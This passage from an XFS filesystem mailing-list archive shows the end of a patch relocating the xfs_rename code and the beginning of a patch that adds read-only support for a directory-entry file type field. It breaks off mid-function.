XFS_ICHGTIME_CHG); + xfs_trans_log_inode(tp, src_ip, XFS_ILOG_CORE); + + /* + * Adjust the link count on src_dp. This is necessary when + * renaming a directory, either within one parent when + * the target existed, or across two parent directories. + */ + if (src_is_directory && (new_parent || target_ip != NULL)) { + + /* + * Decrement link count on src_directory since the + * entry that's moved no longer points to it. + */ + error = xfs_droplink(tp, src_dp); + if (error) + goto abort_return; + } + + error = xfs_dir_removename(tp, src_dp, src_name, src_ip->i_ino, + &first_block, &free_list, spaceres); + if (error) + goto abort_return; + + xfs_trans_ichgtime(tp, src_dp, XFS_ICHGTIME_MOD | XFS_ICHGTIME_CHG); + xfs_trans_log_inode(tp, src_dp, XFS_ILOG_CORE); + if (new_parent) + xfs_trans_log_inode(tp, target_dp, XFS_ILOG_CORE); + + /* + * If this is a synchronous mount, make sure that the + * rename transaction goes to disk before returning to + * the user. + */ + if (mp->m_flags & (XFS_MOUNT_WSYNC|XFS_MOUNT_DIRSYNC)) { + xfs_trans_set_sync(tp); + } + + error = xfs_bmap_finish(&tp, &free_list, &committed); + if (error) { + xfs_bmap_cancel(&free_list); + xfs_trans_cancel(tp, (XFS_TRANS_RELEASE_LOG_RES | + XFS_TRANS_ABORT)); + goto std_return; + } + + /* + * trans_commit will unlock src_ip, target_ip & decrement + * the vnode references. + */ + return xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); + + abort_return: + cancel_flags |= XFS_TRANS_ABORT; + error_return: + xfs_bmap_cancel(&free_list); + xfs_trans_cancel(tp, cancel_flags); + std_return: + return error; +} + STATIC int xfs_iflush_cluster( xfs_inode_t *ip, @@ -2523,7 +2830,6 @@ abort_out: return error; } - STATIC int xfs_iflush_int( struct xfs_inode *ip, diff --git a/fs/xfs/xfs_rename.c b/fs/xfs/xfs_rename.c deleted file mode 100644 index c15c6c5..0000000 --- a/fs/xfs/xfs_rename.c +++ /dev/null @@ -1,347 +0,0 @@ -/* - * Copyright (c) 2000-2003,2005 Silicon Graphics, Inc. - * All Rights Reserved. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write the Free Software Foundation, - * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA - */ -#include "xfs.h" -#include "xfs_fs.h" -#include "xfs_format.h" -#include "xfs_log.h" -#include "xfs_trans.h" -#include "xfs_sb.h" -#include "xfs_ag.h" -#include "xfs_mount.h" -#include "xfs_da_btree.h" -#include "xfs_dir2_format.h" -#include "xfs_dir2.h" -#include "xfs_bmap_btree.h" -#include "xfs_dinode.h" -#include "xfs_inode.h" -#include "xfs_inode_item.h" -#include "xfs_bmap.h" -#include "xfs_bmap_util.h" -#include "xfs_error.h" -#include "xfs_quota.h" -#include "xfs_utils.h" -#include "xfs_trans_space.h" -#include "xfs_trace.h" - - -/* - * Enter all inodes for a rename transaction into a sorted array. - */ -STATIC void -xfs_sort_for_rename( - xfs_inode_t *dp1, /* in: old (source) directory inode */ - xfs_inode_t *dp2, /* in: new (target) directory inode */ - xfs_inode_t *ip1, /* in: inode of old entry */ - xfs_inode_t *ip2, /* in: inode of new entry, if it - already exists, NULL otherwise. */ - xfs_inode_t **i_tab,/* out: array of inode returned, sorted */ - int *num_inodes) /* out: number of inodes in array */ -{ - xfs_inode_t *temp; - int i, j; - - /* - * i_tab contains a list of pointers to inodes. We initialize - * the table here & we'll sort it. We will then use it to - * order the acquisition of the inode locks. - * - * Note that the table may contain duplicates. e.g., dp1 == dp2. - */ - i_tab[0] = dp1; - i_tab[1] = dp2; - i_tab[2] = ip1; - if (ip2) { - *num_inodes = 4; - i_tab[3] = ip2; - } else { - *num_inodes = 3; - i_tab[3] = NULL; - } - - /* - * Sort the elements via bubble sort. (Remember, there are at - * most 4 elements to sort, so this is adequate.) - */ - for (i = 0; i < *num_inodes; i++) { - for (j = 1; j < *num_inodes; j++) { - if (i_tab[j]->i_ino < i_tab[j-1]->i_ino) { - temp = i_tab[j]; - i_tab[j] = i_tab[j-1]; - i_tab[j-1] = temp; - } - } - } -} - -/* - * xfs_rename - */ -int -xfs_rename( - xfs_inode_t *src_dp, - struct xfs_name *src_name, - xfs_inode_t *src_ip, - xfs_inode_t *target_dp, - struct xfs_name *target_name, - xfs_inode_t *target_ip) -{ - xfs_trans_t *tp = NULL; - xfs_mount_t *mp = src_dp->i_mount; - int new_parent; /* moving to a new dir */ - int src_is_directory; /* src_name is a directory */ - int error; - xfs_bmap_free_t free_list; - xfs_fsblock_t first_block; - int cancel_flags; - int committed; - xfs_inode_t *inodes[4]; - int spaceres; - int num_inodes; - - trace_xfs_rename(src_dp, target_dp, src_name, target_name); - - new_parent = (src_dp != target_dp); - src_is_directory = S_ISDIR(src_ip->i_d.di_mode); - - xfs_sort_for_rename(src_dp, target_dp, src_ip, target_ip, - inodes, &num_inodes); - - xfs_bmap_init(&free_list, &first_block); - tp = xfs_trans_alloc(mp, XFS_TRANS_RENAME); - cancel_flags = XFS_TRANS_RELEASE_LOG_RES; - spaceres = XFS_RENAME_SPACE_RES(mp, target_name->len); - error = xfs_trans_reserve(tp, spaceres, XFS_RENAME_LOG_RES(mp), 0, - XFS_TRANS_PERM_LOG_RES, XFS_RENAME_LOG_COUNT); - if (error == ENOSPC) { - spaceres = 0; - error = xfs_trans_reserve(tp, 0, XFS_RENAME_LOG_RES(mp), 0, - XFS_TRANS_PERM_LOG_RES, XFS_RENAME_LOG_COUNT); - } - if (error) { - xfs_trans_cancel(tp, 0); - goto std_return; - } - - /* - * Attach the dquots to the inodes - */ - error = xfs_qm_vop_rename_dqattach(inodes); - if (error) { - xfs_trans_cancel(tp, cancel_flags); - goto std_return; - } - - /* - * Lock all the participating inodes. Depending upon whether - * the target_name exists in the target directory, and - * whether the target directory is the same as the source - * directory, we can lock from 2 to 4 inodes. - */ - xfs_lock_inodes(inodes, num_inodes, XFS_ILOCK_EXCL); - - /* - * Join all the inodes to the transaction. From this point on, - * we can rely on either trans_commit or trans_cancel to unlock - * them. - */ - xfs_trans_ijoin(tp, src_dp, XFS_ILOCK_EXCL); - if (new_parent) - xfs_trans_ijoin(tp, target_dp, XFS_ILOCK_EXCL); - xfs_trans_ijoin(tp, src_ip, XFS_ILOCK_EXCL); - if (target_ip) - xfs_trans_ijoin(tp, target_ip, XFS_ILOCK_EXCL); - - /* - * If we are using project inheritance, we only allow renames - * into our tree when the project IDs are the same; else the - * tree quota mechanism would be circumvented. - */ - if (unlikely((target_dp->i_d.di_flags & XFS_DIFLAG_PROJINHERIT) && - (xfs_get_projid(target_dp) != xfs_get_projid(src_ip)))) { - error = XFS_ERROR(EXDEV); - goto error_return; - } - - /* - * Set up the target. - */ - if (target_ip == NULL) { - /* - * If there's no space reservation, check the entry will - * fit before actually inserting it. - */ - error = xfs_dir_canenter(tp, target_dp, target_name, spaceres); - if (error) - goto error_return; - /* - * If target does not exist and the rename crosses - * directories, adjust the target directory link count - * to account for the ".." reference from the new entry. - */ - error = xfs_dir_createname(tp, target_dp, target_name, - src_ip->i_ino, &first_block, - &free_list, spaceres); - if (error == ENOSPC) - goto error_return; - if (error) - goto abort_return; - - xfs_trans_ichgtime(tp, target_dp, - XFS_ICHGTIME_MOD | XFS_ICHGTIME_CHG); - - if (new_parent && src_is_directory) { - error = xfs_bumplink(tp, target_dp); - if (error) - goto abort_return; - } - } else { /* target_ip != NULL */ - /* - * If target exists and it's a directory, check that both - * target and source are directories and that target can be - * destroyed, or that neither is a directory. - */ - if (S_ISDIR(target_ip->i_d.di_mode)) { - /* - * Make sure target dir is empty. - */ - if (!(xfs_dir_isempty(target_ip)) || - (target_ip->i_d.di_nlink > 2)) { - error = XFS_ERROR(EEXIST); - goto error_return; - } - } - - /* - * Link the source inode under the target name. - * If the source inode is a directory and we are moving - * it across directories, its ".." entry will be - * inconsistent until we replace that down below. - * - * In case there is already an entry with the same - * name at the destination directory, remove it first. - */ - error = xfs_dir_replace(tp, target_dp, target_name, - src_ip->i_ino, - &first_block, &free_list, spaceres); - if (error) - goto abort_return; - - xfs_trans_ichgtime(tp, target_dp, - XFS_ICHGTIME_MOD | XFS_ICHGTIME_CHG); - - /* - * Decrement the link count on the target since the target - * dir no longer points to it. - */ - error = xfs_droplink(tp, target_ip); - if (error) - goto abort_return; - - if (src_is_directory) { - /* - * Drop the link from the old "." entry. - */ - error = xfs_droplink(tp, target_ip); - if (error) - goto abort_return; - } - } /* target_ip != NULL */ - - /* - * Remove the source. - */ - if (new_parent && src_is_directory) { - /* - * Rewrite the ".." entry to point to the new - * directory. - */ - error = xfs_dir_replace(tp, src_ip, &xfs_name_dotdot, - target_dp->i_ino, - &first_block, &free_list, spaceres); - ASSERT(error != EEXIST); - if (error) - goto abort_return; - } - - /* - * We always want to hit the ctime on the source inode. - * - * This isn't strictly required by the standards since the source - * inode isn't really being changed, but old unix file systems did - * it and some incremental backup programs won't work without it. - */ - xfs_trans_ichgtime(tp, src_ip, XFS_ICHGTIME_CHG); - xfs_trans_log_inode(tp, src_ip, XFS_ILOG_CORE); - - /* - * Adjust the link count on src_dp. This is necessary when - * renaming a directory, either within one parent when - * the target existed, or across two parent directories. - */ - if (src_is_directory && (new_parent || target_ip != NULL)) { - - /* - * Decrement link count on src_directory since the - * entry that's moved no longer points to it. - */ - error = xfs_droplink(tp, src_dp); - if (error) - goto abort_return; - } - - error = xfs_dir_removename(tp, src_dp, src_name, src_ip->i_ino, - &first_block, &free_list, spaceres); - if (error) - goto abort_return; - - xfs_trans_ichgtime(tp, src_dp, XFS_ICHGTIME_MOD | XFS_ICHGTIME_CHG); - xfs_trans_log_inode(tp, src_dp, XFS_ILOG_CORE); - if (new_parent) - xfs_trans_log_inode(tp, target_dp, XFS_ILOG_CORE); - - /* - * If this is a synchronous mount, make sure that the - * rename transaction goes to disk before returning to - * the user. - */ - if (mp->m_flags & (XFS_MOUNT_WSYNC|XFS_MOUNT_DIRSYNC)) { - xfs_trans_set_sync(tp); - } - - error = xfs_bmap_finish(&tp, &free_list, &committed); - if (error) { - xfs_bmap_cancel(&free_list); - xfs_trans_cancel(tp, (XFS_TRANS_RELEASE_LOG_RES | - XFS_TRANS_ABORT)); - goto std_return; - } - - /* - * trans_commit will unlock src_ip, target_ip & decrement - * the vnode references. - */ - return xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); - - abort_return: - cancel_flags |= XFS_TRANS_ABORT; - error_return: - xfs_bmap_cancel(&free_list); - xfs_trans_cancel(tp, cancel_flags); - std_return: - return error; -} -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:26:12 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4627E7FA6 for ; Fri, 19 Jul 2013 01:25:51 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 27B8B8F8035 for ; Thu, 18 Jul 2013 23:25:51 -0700 (PDT) X-ASG-Debug-ID: 1374215130-04cbb04690117c02000a-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id CPo0quqHpasDlyX4 for ; Thu, 18 Jul 2013 23:25:45 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AqAcAB3b6FF5LK4r/2dsb2JhbABagwY1rQ0ClAIEAYEVF3SCJAEBBRoBDC8zCBgYGTkDGxmID7YvjnKBEhyDcgOZBpAkgyQqgSwk Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:38 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0483-00048R-JE for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0483-000214-Gs for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 48/49] xfs: Add read-only support for dirent filetype field Date: Fri, 19 Jul 2013 16:25:19 +1000 X-ASG-Orig-Subj: [PATCH 48/49] xfs: Add read-only support for dirent filetype field Message-Id: <1374215120-7271-49-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215145 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Add support for the file type field in directory entries so that readdir can return the type of the inode the dirent points to to userspace without first having to read the inode off disk. The encoding of the type field is a single byte that is added to the end of the directory entry name length. For all intents and purposes, it appends a "hidden" byte to the name field which contains the type information. As the directory entry is already of dynamic size, helpers are already required to access and decode the direct entry structures. Hence the relevent extraction and iteration helpers are updated to understand the hidden byte. Helpers for reading and writing the filetype field from the directory entries are also added. Only the read helpers are used by this patch. It also adds all the code necessary to read the type information out of the dirents on disk. Further we add the superblock feature bit and helpers to indicate that we understand the on-disk format change. This is not a compatible change - existing kernels cannot read the new format successfully - so an incompatible feature flag is added. We don't yet allow filesystems to mount with this flag yet - that will be added once write support is added. Finally, the code to take the type from the VFS, convert it to an XFS on-disk type and put it into the xfs_name structures passed around is added, but the directory code does not use this field yet. That will be in the next patch. Signed-off-by: Dave Chinner --- fs/xfs/xfs_da_btree.h | 1 + fs/xfs/xfs_dir2.c | 5 +- fs/xfs/xfs_dir2.h | 4 +- fs/xfs/xfs_dir2_block.c | 16 ++-- fs/xfs/xfs_dir2_data.c | 13 ++-- fs/xfs/xfs_dir2_format.h | 183 ++++++++++++++++++++++++++++++++++++++++------ fs/xfs/xfs_dir2_leaf.c | 6 +- fs/xfs/xfs_dir2_node.c | 8 +- fs/xfs/xfs_dir2_priv.h | 9 +++ fs/xfs/xfs_dir2_readdir.c | 69 ++++++++++++++--- fs/xfs/xfs_dir2_sf.c | 121 +++++++++++++++++------------- fs/xfs/xfs_iops.c | 27 ++++--- fs/xfs/xfs_sb.h | 28 ++++--- fs/xfs/xfs_types.h | 1 + 14 files changed, 365 insertions(+), 126 deletions(-) diff --git a/fs/xfs/xfs_da_btree.h b/fs/xfs/xfs_da_btree.h index 6fb3371..8cdc77b 100644 --- a/fs/xfs/xfs_da_btree.h +++ b/fs/xfs/xfs_da_btree.h @@ -176,6 +176,7 @@ enum xfs_dacmp { typedef struct xfs_da_args { const __uint8_t *name; /* string (maybe not NULL terminated) */ int namelen; /* length of string (maybe no NULL) */ + __uint8_t filetype; /* filetype of inode for directories */ __uint8_t *value; /* set of bytes (maybe contain NULLs) */ int valuelen; /* length of value */ int flags; /* argument flags (eg: ATTR_NOCREATE) */ diff --git a/fs/xfs/xfs_dir2.c b/fs/xfs/xfs_dir2.c index 841933c..f9825b1 100644 --- a/fs/xfs/xfs_dir2.c +++ b/fs/xfs/xfs_dir2.c @@ -37,7 +37,8 @@ #include "xfs_error.h" #include "xfs_trace.h" -struct xfs_name xfs_name_dotdot = { (unsigned char *)"..", 2}; +struct xfs_name xfs_name_dotdot = { (unsigned char *)"..", 2, XFS_DIR3_FT_DIR }; + /* * ASCII case-insensitive (ie. A-Z) support for directories that was @@ -386,6 +387,7 @@ xfs_dir_replace( memset(&args, 0, sizeof(xfs_da_args_t)); args.name = name->name; args.namelen = name->len; + args.filetype = name->type; args.hashval = dp->i_mount->m_dirnameops->hashname(name); args.inumber = inum; args.dp = dp; @@ -433,6 +435,7 @@ xfs_dir_canenter( memset(&args, 0, sizeof(xfs_da_args_t)); args.name = name->name; args.namelen = name->len; + args.filetype = name->type; args.hashval = dp->i_mount->m_dirnameops->hashname(name); args.dp = dp; args.whichfork = XFS_DATA_FORK; diff --git a/fs/xfs/xfs_dir2.h b/fs/xfs/xfs_dir2.h index 7fe2b8f..768ddad 100644 --- a/fs/xfs/xfs_dir2.h +++ b/fs/xfs/xfs_dir2.h @@ -68,8 +68,8 @@ extern int xfs_dir2_sf_to_block(struct xfs_da_args *args); extern xfs_ino_t xfs_dir2_sf_get_parent_ino(struct xfs_dir2_sf_hdr *sfp); extern void xfs_dir2_sf_put_parent_ino(struct xfs_dir2_sf_hdr *sfp, xfs_ino_t ino); -extern xfs_ino_t xfs_dir2_sfe_get_ino(struct xfs_dir2_sf_hdr *sfp, - struct xfs_dir2_sf_entry *sfep); +extern xfs_ino_t xfs_dir3_sfe_get_ino(struct xfs_mount *mp, + struct xfs_dir2_sf_hdr *sfp, struct xfs_dir2_sf_entry *sfep); extern void xfs_dir2_sfe_put_ino( struct xfs_dir2_sf_hdr *, struct xfs_dir2_sf_entry *sfep, xfs_ino_t ino); diff --git a/fs/xfs/xfs_dir2_block.c b/fs/xfs/xfs_dir2_block.c index becd69f..1cd2f56 100644 --- a/fs/xfs/xfs_dir2_block.c +++ b/fs/xfs/xfs_dir2_block.c @@ -369,7 +369,7 @@ xfs_dir2_block_addname( if (error) return error; - len = xfs_dir2_data_entsize(args->namelen); + len = xfs_dir3_data_entsize(mp, args->namelen); /* * Set up pointers to parts of the block. @@ -549,7 +549,7 @@ xfs_dir2_block_addname( dep->inumber = cpu_to_be64(args->inumber); dep->namelen = args->namelen; memcpy(dep->name, args->name, args->namelen); - tagp = xfs_dir2_data_entry_tag_p(dep); + tagp = xfs_dir3_data_entry_tag_p(mp, dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); /* * Clean up the bestfree array and log the header, tail, and entry. @@ -799,7 +799,7 @@ xfs_dir2_block_removename( needlog = needscan = 0; xfs_dir2_data_make_free(tp, bp, (xfs_dir2_data_aoff_t)((char *)dep - (char *)hdr), - xfs_dir2_data_entsize(dep->namelen), &needlog, &needscan); + xfs_dir3_data_entsize(mp, dep->namelen), &needlog, &needscan); /* * Fix up the block tail. */ @@ -1159,7 +1159,7 @@ xfs_dir2_sf_to_block( dep->inumber = cpu_to_be64(dp->i_ino); dep->namelen = 1; dep->name[0] = '.'; - tagp = xfs_dir2_data_entry_tag_p(dep); + tagp = xfs_dir3_data_entry_tag_p(mp, dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); xfs_dir2_data_log_entry(tp, bp, dep); blp[0].hashval = cpu_to_be32(xfs_dir_hash_dot); @@ -1172,7 +1172,7 @@ xfs_dir2_sf_to_block( dep->inumber = cpu_to_be64(xfs_dir2_sf_get_parent_ino(sfp)); dep->namelen = 2; dep->name[0] = dep->name[1] = '.'; - tagp = xfs_dir2_data_entry_tag_p(dep); + tagp = xfs_dir3_data_entry_tag_p(mp, dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); xfs_dir2_data_log_entry(tp, bp, dep); blp[1].hashval = cpu_to_be32(xfs_dir_hash_dotdot); @@ -1217,10 +1217,10 @@ xfs_dir2_sf_to_block( * Copy a real entry. */ dep = (xfs_dir2_data_entry_t *)((char *)hdr + newoffset); - dep->inumber = cpu_to_be64(xfs_dir2_sfe_get_ino(sfp, sfep)); + dep->inumber = cpu_to_be64(xfs_dir3_sfe_get_ino(mp, sfp, sfep)); dep->namelen = sfep->namelen; memcpy(dep->name, sfep->name, dep->namelen); - tagp = xfs_dir2_data_entry_tag_p(dep); + tagp = xfs_dir3_data_entry_tag_p(mp, dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); xfs_dir2_data_log_entry(tp, bp, dep); name.name = sfep->name; @@ -1233,7 +1233,7 @@ xfs_dir2_sf_to_block( if (++i == sfp->count) sfep = NULL; else - sfep = xfs_dir2_sf_nextentry(sfp, sfep); + sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep); } /* Done with the temporary buffer */ kmem_free(sfp); diff --git a/fs/xfs/xfs_dir2_data.c b/fs/xfs/xfs_dir2_data.c index 98c23fa..1b59e43 100644 --- a/fs/xfs/xfs_dir2_data.c +++ b/fs/xfs/xfs_dir2_data.c @@ -147,7 +147,7 @@ __xfs_dir3_data_check( XFS_WANT_CORRUPTED_RETURN( !xfs_dir_ino_validate(mp, be64_to_cpu(dep->inumber))); XFS_WANT_CORRUPTED_RETURN( - be16_to_cpu(*xfs_dir2_data_entry_tag_p(dep)) == + be16_to_cpu(*xfs_dir3_data_entry_tag_p(mp, dep)) == (char *)dep - (char *)hdr); count++; lastfree = 0; @@ -166,7 +166,7 @@ __xfs_dir3_data_check( } XFS_WANT_CORRUPTED_RETURN(i < be32_to_cpu(btp->count)); } - p += xfs_dir2_data_entsize(dep->namelen); + p += xfs_dir3_data_entsize(mp, dep->namelen); } /* * Need to have seen all the entries and all the bestfree slots. @@ -536,8 +536,8 @@ xfs_dir2_data_freescan( else { dep = (xfs_dir2_data_entry_t *)p; ASSERT((char *)dep - (char *)hdr == - be16_to_cpu(*xfs_dir2_data_entry_tag_p(dep))); - p += xfs_dir2_data_entsize(dep->namelen); + be16_to_cpu(*xfs_dir3_data_entry_tag_p(mp, dep))); + p += xfs_dir3_data_entsize(mp, dep->namelen); } } } @@ -627,7 +627,8 @@ xfs_dir2_data_log_entry( struct xfs_buf *bp, xfs_dir2_data_entry_t *dep) /* data entry pointer */ { - xfs_dir2_data_hdr_t *hdr = bp->b_addr; + struct xfs_dir2_data_hdr *hdr = bp->b_addr; + struct xfs_mount *mp = tp->t_mountp; ASSERT(hdr->magic == cpu_to_be32(XFS_DIR2_DATA_MAGIC) || hdr->magic == cpu_to_be32(XFS_DIR3_DATA_MAGIC) || @@ -635,7 +636,7 @@ xfs_dir2_data_log_entry( hdr->magic == cpu_to_be32(XFS_DIR3_BLOCK_MAGIC)); xfs_trans_log_buf(tp, bp, (uint)((char *)dep - (char *)hdr), - (uint)((char *)(xfs_dir2_data_entry_tag_p(dep) + 1) - + (uint)((char *)(xfs_dir3_data_entry_tag_p(mp, dep) + 1) - (char *)hdr - 1)); } diff --git a/fs/xfs/xfs_dir2_format.h b/fs/xfs/xfs_dir2_format.h index 2095e17..a0961a6 100644 --- a/fs/xfs/xfs_dir2_format.h +++ b/fs/xfs/xfs_dir2_format.h @@ -69,6 +69,23 @@ #define XFS_DIR3_FREE_MAGIC 0x58444633 /* XDF3: free index blocks */ /* + * Dirents in version 3 directories have a file type field. Additions to this + * list are an on-disk format change, requiring feature bits. Valid values + * are as follows: + */ +#define XFS_DIR3_FT_UNKNOWN 0 +#define XFS_DIR3_FT_REG_FILE 1 +#define XFS_DIR3_FT_DIR 2 +#define XFS_DIR3_FT_CHRDEV 3 +#define XFS_DIR3_FT_BLKDEV 4 +#define XFS_DIR3_FT_FIFO 5 +#define XFS_DIR3_FT_SOCK 6 +#define XFS_DIR3_FT_SYMLINK 7 +#define XFS_DIR3_FT_WHT 8 + +#define XFS_DIR3_FT_MAX 9 + +/* * Byte offset in data block and shortform entry. */ typedef __uint16_t xfs_dir2_data_off_t; @@ -138,6 +155,9 @@ typedef struct xfs_dir2_sf_entry { xfs_dir2_sf_off_t offset; /* saved offset */ __u8 name[]; /* name, variable size */ /* + * A single byte containing the file type field follows the inode + * number for version 3 directory entries. + * * A xfs_dir2_ino8_t or xfs_dir2_ino4_t follows here, at a * variable offset after the name. */ @@ -162,16 +182,6 @@ xfs_dir2_sf_put_offset(xfs_dir2_sf_entry_t *sfep, xfs_dir2_data_aoff_t off) put_unaligned_be16(off, &sfep->offset.i); } -static inline int -xfs_dir2_sf_entsize(struct xfs_dir2_sf_hdr *hdr, int len) -{ - return sizeof(struct xfs_dir2_sf_entry) + /* namelen + offset */ - len + /* name */ - (hdr->i8count ? /* ino */ - sizeof(xfs_dir2_ino8_t) : - sizeof(xfs_dir2_ino4_t)); -} - static inline struct xfs_dir2_sf_entry * xfs_dir2_sf_firstentry(struct xfs_dir2_sf_hdr *hdr) { @@ -179,14 +189,78 @@ xfs_dir2_sf_firstentry(struct xfs_dir2_sf_hdr *hdr) ((char *)hdr + xfs_dir2_sf_hdr_size(hdr->i8count)); } +static inline int +xfs_dir3_sf_entsize( + struct xfs_mount *mp, + struct xfs_dir2_sf_hdr *hdr, + int len) +{ + int count = sizeof(struct xfs_dir2_sf_entry); /* namelen + offset */ + + count += len; /* name */ + count += hdr->i8count ? sizeof(xfs_dir2_ino8_t) : + sizeof(xfs_dir2_ino4_t); /* ino # */ + if (xfs_sb_version_hasftype(&mp->m_sb)) + count += sizeof(__uint8_t); /* file type */ + return count; +} + static inline struct xfs_dir2_sf_entry * -xfs_dir2_sf_nextentry(struct xfs_dir2_sf_hdr *hdr, - struct xfs_dir2_sf_entry *sfep) +xfs_dir3_sf_nextentry( + struct xfs_mount *mp, + struct xfs_dir2_sf_hdr *hdr, + struct xfs_dir2_sf_entry *sfep) { return (struct xfs_dir2_sf_entry *) - ((char *)sfep + xfs_dir2_sf_entsize(hdr, sfep->namelen)); + ((char *)sfep + xfs_dir3_sf_entsize(mp, hdr, sfep->namelen)); } +/* + * in dir3 shortform directories, the file type field is stored at a variable + * offset after the inode number. Because it's only a single byte, endian + * conversion is not necessary. + */ +static inline __uint8_t * +xfs_dir3_sfe_ftypep( + struct xfs_dir2_sf_hdr *hdr, + struct xfs_dir2_sf_entry *sfep) +{ + return (__uint8_t *)&sfep->name[sfep->namelen]; +} + +static inline __uint8_t +xfs_dir3_sfe_get_ftype( + struct xfs_mount *mp, + struct xfs_dir2_sf_hdr *hdr, + struct xfs_dir2_sf_entry *sfep) +{ + __uint8_t *ftp; + + if (!xfs_sb_version_hasftype(&mp->m_sb)) + return XFS_DIR3_FT_UNKNOWN; + + ftp = xfs_dir3_sfe_ftypep(hdr, sfep); + if (*ftp >= XFS_DIR3_FT_MAX) + return XFS_DIR3_FT_UNKNOWN; + return *ftp; +} + +static inline void +xfs_dir3_sfe_put_ftype( + struct xfs_mount *mp, + struct xfs_dir2_sf_hdr *hdr, + struct xfs_dir2_sf_entry *sfep, + __uint8_t ftype) +{ + __uint8_t *ftp; + + ASSERT(ftype < XFS_DIR3_FT_MAX); + + if (!xfs_sb_version_hasftype(&mp->m_sb)) + return; + ftp = xfs_dir3_sfe_ftypep(hdr, sfep); + *ftp = ftype; +} /* * Data block structures. @@ -286,12 +360,18 @@ xfs_dir3_data_bestfree_p(struct xfs_dir2_data_hdr *hdr) * Active entry in a data block. * * Aligned to 8 bytes. After the variable length name field there is a - * 2 byte tag field, which can be accessed using xfs_dir2_data_entry_tag_p. + * 2 byte tag field, which can be accessed using xfs_dir3_data_entry_tag_p. + * + * For dir3 structures, there is file type field between the name and the tag. + * This can only be manipulated by helper functions. It is packed hard against + * the end of the name so any padding for rounding is between the file type and + * the tag. */ typedef struct xfs_dir2_data_entry { __be64 inumber; /* inode number */ __u8 namelen; /* name length */ __u8 name[]; /* name bytes, no null */ + /* __u8 filetype; */ /* type of inode we point to */ /* __be16 tag; */ /* starting offset of us */ } xfs_dir2_data_entry_t; @@ -311,20 +391,67 @@ typedef struct xfs_dir2_data_unused { /* * Size of a data entry. */ -static inline int xfs_dir2_data_entsize(int n) +static inline int +__xfs_dir3_data_entsize( + bool ftype, + int n) { - return (int)roundup(offsetof(struct xfs_dir2_data_entry, name[0]) + n + - (uint)sizeof(xfs_dir2_data_off_t), XFS_DIR2_DATA_ALIGN); + int size = offsetof(struct xfs_dir2_data_entry, name[0]); + + size += n; + size += sizeof(xfs_dir2_data_off_t); + if (ftype) + size += sizeof(__uint8_t); + return roundup(size, XFS_DIR2_DATA_ALIGN); +} +static inline int +xfs_dir3_data_entsize( + struct xfs_mount *mp, + int n) +{ + bool ftype = xfs_sb_version_hasftype(&mp->m_sb) ? true : false; + return __xfs_dir3_data_entsize(ftype, n); +} + +static inline __uint8_t +xfs_dir3_dirent_get_ftype( + struct xfs_mount *mp, + struct xfs_dir2_data_entry *dep) +{ + if (xfs_sb_version_hasftype(&mp->m_sb)) { + __uint8_t type = dep->name[dep->namelen]; + + ASSERT(type < XFS_DIR3_FT_MAX); + if (type < XFS_DIR3_FT_MAX) + return type; + + } + return XFS_DIR3_FT_UNKNOWN; +} + +static inline void +xfs_dir3_dirent_put_ftype( + struct xfs_mount *mp, + struct xfs_dir2_data_entry *dep, + __uint8_t type) +{ + ASSERT(type < XFS_DIR3_FT_MAX); + ASSERT(dep->namelen != 0); + + if (xfs_sb_version_hasftype(&mp->m_sb)) + dep->name[dep->namelen] = type; } /* * Pointer to an entry's tag word. */ static inline __be16 * -xfs_dir2_data_entry_tag_p(struct xfs_dir2_data_entry *dep) +xfs_dir3_data_entry_tag_p( + struct xfs_mount *mp, + struct xfs_dir2_data_entry 